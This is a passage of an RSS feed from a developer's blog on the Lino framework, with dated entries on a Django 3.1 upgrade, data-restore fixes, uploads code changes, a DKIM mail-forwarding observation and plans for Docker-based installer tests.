&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ne"&gt;TypeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DomHandler&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="adapt-lino-to-work-with-django-3-1"&gt;
&lt;h2&gt;Adapt Lino to work with Django 3.1&lt;a class="headerlink" href="#adapt-lino-to-work-with-django-3-1" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I opened &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3748"&gt;#3748&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://docs.djangoproject.com/en/6.0/releases/3.1/"&gt;https://docs.djangoproject.com/en/6.0/releases/3.1/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;First problem is this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ne"&gt;ImportError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cannot&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;name&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;FieldDoesNotExist&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;That was because the compatibility import of
django.core.exceptions.FieldDoesNotExist in django.db.models.fields is removed.&lt;/p&gt;
&lt;p&gt;A more difficult problem was this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ne"&gt;TypeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;related_objects&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="n"&gt;missing&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;required&lt;/span&gt; &lt;span class="n"&gt;positional&lt;/span&gt; &lt;span class="n"&gt;argument&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;objs&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This was in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.utils.mti.html#module-lino.utils.mti" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils.mti&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.
The &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.utils.mti.html#lino.utils.mti.delete_child" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;delete_child()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; function used a &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.utils.mti.html#lino.utils.mti.ChildCollector" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;ChildCollector&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; until now.
It is dangerous code.
Remember the killer bug some years ago.
But I trust that the test suite covers these things quite well.&lt;/p&gt;
&lt;p&gt;A last problem was in the welfare test suite
(&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/specs/dupable_clients.rst&lt;/span&gt;&lt;/code&gt;).  The sort order of the two Dorothées
is changed.  The query has always been sorted by &lt;cite&gt;[‘-num’, ‘pk’]&lt;/cite&gt;.
I did not find any explanation for it, but I now assume that it is
irrelevant for us.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0812.html</guid><pubDate>Wed, 12 Aug 2020 00:00:00 +0000</pubDate></item><item><title>Friday, August 7, 2020</title><link>https://luc.lino-framework.org/blog/2020/0807.html</link><description>&lt;section id="friday-august-7-2020"&gt;
&lt;h1&gt;Friday, August 7, 2020&lt;a class="headerlink" href="#friday-august-7-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I updated the &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/index.html#presto" title="(in Lino Presto)"&gt;&lt;span&gt;Lino Presto&lt;/span&gt;&lt;/a&gt; site for Margarete.&lt;/p&gt;
&lt;p&gt;Added “python -m pip install -U pip” to the &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/misc.html#xfile-pull.sh" title="(in getlino docs)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;pull.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt;
template. Because on production sites this is usually the first thing you want
to check, and pip is AFAICS a reliable package that we can safely upgrade
without worrying very much.&lt;/p&gt;
&lt;p&gt;Upgraded their Django, which was still 2.2.5.&lt;/p&gt;
&lt;p&gt;Oho:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;manage.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino_local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;manage&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;manage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="vm"&gt;__file__&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;py3&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="o"&gt;...&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/admin/mypy/prod_sites/soshilfe/env/lib/python3.6/site-packages/lino/core/utils.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;django.db.models.fields&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;FieldDoesNotExist&lt;/span&gt;
&lt;span class="ne"&gt;ImportError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cannot&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;name&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;FieldDoesNotExist&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Seems that Lino doesn’t yet collaborate with Django 3.1. Need to fix that
locally. On the production site I work around it by saying:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pip install -U &amp;quot;Django&amp;lt;3.1&amp;quot;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;After upgrading django I also had to upgrade django-localflavor and django-click.&lt;/p&gt;
&lt;p&gt;Now:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ python manage.py run snapshot/restore.py

TypeError: PriceRule() got an unexpected keyword argument &amp;#39;event_type_id&amp;#39;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Yes, remember &lt;a class="reference internal" href="0519.html"&gt;&lt;span class="doc"&gt;Tuesday, May 19, 2020&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Before:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;create_products_pricerule&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;seqno&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;event_type_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fee_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pf_income&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="c1"&gt;#    if pf_income: pf_income = settings.SITE.models.presto.IncomeCategories.get_by_value(pf_income)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;seqno&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;seqno&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event_type_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;event_type_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fee_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;fee_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pf_income&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;pf_income&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;products_PriceRule&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;After:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;create_products_pricerule&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;seqno&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;event_type_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fee_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pf_income&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="c1"&gt;#    if pf_income: pf_income = settings.SITE.models.presto.IncomeCategories.get_by_value(pf_income)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;seqno&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;seqno&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;selector_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;event_type_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# renamed event_type to selector&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;product_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;fee_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;          &lt;span class="c1"&gt;# renamed fee to product&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pf_income&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;pf_income&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;products_PriceRule&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0807.html</guid><pubDate>Fri, 07 Aug 2020 00:00:00 +0000</pubDate></item><item><title>Wednesday, August 5, 2020</title><link>https://luc.lino-framework.org/blog/2020/0805.html</link><description>&lt;section id="wednesday-august-5-2020"&gt;
&lt;h1&gt;Wednesday, August 5, 2020&lt;a class="headerlink" href="#wednesday-august-5-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I started &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3741"&gt;#3741&lt;/a&gt; : avanti site release.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3738"&gt;#3738&lt;/a&gt; (Automatische Dossiernummer für neue Klienten)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3721"&gt;#3721&lt;/a&gt; (Löscht Lino abgelaufende Upload-Dateien?)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0805.html</guid><pubDate>Wed, 05 Aug 2020 00:00:00 +0000</pubDate></item><item><title>Friday, July 31, 2020</title><link>https://luc.lino-framework.org/blog/2020/0731.html</link><description>&lt;section id="friday-july-31-2020"&gt;
&lt;h1&gt;Friday, July 31, 2020&lt;a class="headerlink" href="#friday-july-31-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The UploadsByClient table had this method:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nd"&gt;@classmethod&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;format_row_in_slave_summary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end_date&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end_date&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SITE&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;today&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UploadsByClient&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format_row_in_slave_summary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This method has caused a few hours of worries to Johanna because she believed
that Lino was automatically deleting all uploads when their validity date had
expired.&lt;/p&gt;
&lt;p&gt;I now removed the method. I guess that this filtering was some old idea that
nobody actually ever wanted.&lt;/p&gt;
&lt;p&gt;I renamed &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;UploadsByClient&lt;/span&gt;&lt;/code&gt; to &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;UploadsByProject&lt;/span&gt;&lt;/code&gt;.  The &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;master&lt;/span&gt;&lt;/code&gt; is no
longer &lt;cite&gt;dd.plugins.clients.client_model&lt;/cite&gt; but &lt;cite&gt;lino.core.site.Site.project_model&lt;/cite&gt;
(which is the same for all existing applications that use uploads).&lt;/p&gt;
&lt;p&gt;The uploads plugin in &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/index.html#presto" title="(in Lino Presto)"&gt;&lt;span&gt;Lino Presto&lt;/span&gt;&lt;/a&gt; was not yet visible. After a feedback from
Margarete I guess that they also want this plugin, and not just the plain modlib
variant but the xl variant (with expiry date management)&lt;/p&gt;
&lt;p&gt;Presto adds another upload shortcut “Category certificate”.&lt;/p&gt;
&lt;p&gt;Changed a few rules in the demo fixtures:&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-std" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;std&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fixture of the &lt;a class="reference external" href="https://dev.lino-framework.org/specs/uploads.html#module-lino.modlib.uploads" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.uploads&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; plugin now
automatically creates one upload type for each shortcut, and no longer requires
the id_document shortcut.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0731.html</guid><pubDate>Fri, 31 Jul 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, July 30, 2020</title><link>https://luc.lino-framework.org/blog/2020/0730.html</link><description>&lt;section id="thursday-july-30-2020"&gt;
&lt;h1&gt;Thursday, July 30, 2020&lt;a class="headerlink" href="#thursday-july-30-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I sent an email from &lt;a class="reference external" href="mailto:luc&amp;#46;saffre&amp;#37;&amp;#52;&amp;#48;gmx&amp;#46;net"&gt;luc&lt;span&gt;&amp;#46;&lt;/span&gt;saffre&lt;span&gt;&amp;#64;&lt;/span&gt;gmx&lt;span&gt;&amp;#46;&lt;/span&gt;net&lt;/a&gt; to &lt;a class="reference external" href="mailto:toimetus&amp;#37;&amp;#52;&amp;#48;laudate&amp;#46;ee"&gt;toimetus&lt;span&gt;&amp;#64;&lt;/span&gt;laudate&lt;span&gt;&amp;#46;&lt;/span&gt;ee&lt;/a&gt;, which is a
simple alias that goes to 6 addresses.  The mail is being forwarded to the
recipients, but one of them reported that my mail was marked as junk.&lt;/p&gt;
&lt;p&gt;I observed that indeed opendkim on laudate.ee did not sign the incoming email:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Jul 28 21:30:32 laudate opendkim[722]: 93C573FFFF: mout.gmx.net [212.227.15.15] not internal
Jul 28 21:30:32 laudate opendkim[722]: 93C573FFFF: not authenticated
Jul 28 21:30:32 laudate opendkim[722]: 93C573FFFF: no signing domain match for ‘gmx.net’
Jul 28 21:30:32 laudate opendkim[722]: 93C573FFFF: no signing subdomain match for ‘gmx.net’
Jul 28 21:30:32 laudate opendkim[722]: 93C573FFFF: s=badeba3b8450 d=gmx.net SSL&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;That’s actually normal. Anybody might send spam to &lt;a class="reference external" href="mailto:toimetus&amp;#37;&amp;#52;&amp;#48;laudate&amp;#46;ee"&gt;toimetus&lt;span&gt;&amp;#64;&lt;/span&gt;laudate&lt;span&gt;&amp;#46;&lt;/span&gt;ee&lt;/a&gt; and
laudate.ee would forward it to these recipients.&lt;/p&gt;
&lt;p&gt;So the /etc/aliases file must not be used as a simple forwarding to external
mail recipients.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0730.html</guid><pubDate>Thu, 30 Jul 2020 00:00:00 +0000</pubDate></item><item><title>Wednesday, July 29, 2020</title><link>https://luc.lino-framework.org/blog/2020/0729.html</link><description>&lt;section id="wednesday-july-29-2020"&gt;
&lt;h1&gt;Wednesday, July 29, 2020&lt;a class="headerlink" href="#wednesday-july-29-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="how-to-test-getlino-using-docker"&gt;
&lt;h2&gt;How to test getlino using Docker&lt;a class="headerlink" href="#how-to-test-getlino-using-docker" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I read these articles:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://docker-curriculum.com/#multi-container-environments"&gt;https://docker-curriculum.com/#multi-container-environments&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://pythonspeed.com/articles/docker-caching-model/"&gt;https://pythonspeed.com/articles/docker-caching-model/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://pythonspeed.com/articles/dockerizing-python-is-hard/"&gt;https://pythonspeed.com/articles/dockerizing-python-is-hard/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It seems to me that for testing getlino installation instructions we don’t need
multiple containers that work together using Docker compose, we rather need
multiple Dockerfiles that depend on each other.&lt;/p&gt;
&lt;p&gt;We have &lt;strong&gt;four Linux base systems&lt;/strong&gt; we want to support:  debian:buster,
debian:bullseye, ubuntu:18.04 and ubuntu:20.04. For each of these we want to
test our &lt;strong&gt;four installation contexts&lt;/strong&gt;: dev, contrib, prod and demo.&lt;/p&gt;
&lt;p&gt;So we have at least 16 tests to run. Each test run will install lots of system
packages and Python packages. We don’t want to download these from the internet
each time, we want to cache them.&lt;/p&gt;
&lt;p&gt;Each test will also install a user with sudo rights. The following is always the
same for most test runs:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# Install sudo package and create a user lino&lt;/span&gt;
&lt;span class="n"&gt;RUN&lt;/span&gt; &lt;span class="n"&gt;apt&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;yqq&lt;/span&gt; &lt;span class="n"&gt;sudo&lt;/span&gt;
&lt;span class="n"&gt;RUN&lt;/span&gt; &lt;span class="n"&gt;adduser&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;disabled&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;gecos&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;lino&lt;/span&gt;
&lt;span class="n"&gt;RUN&lt;/span&gt; &lt;span class="n"&gt;adduser&lt;/span&gt; &lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="n"&gt;sudo&lt;/span&gt;
&lt;span class="n"&gt;RUN&lt;/span&gt; &lt;span class="n"&gt;adduser&lt;/span&gt; &lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;
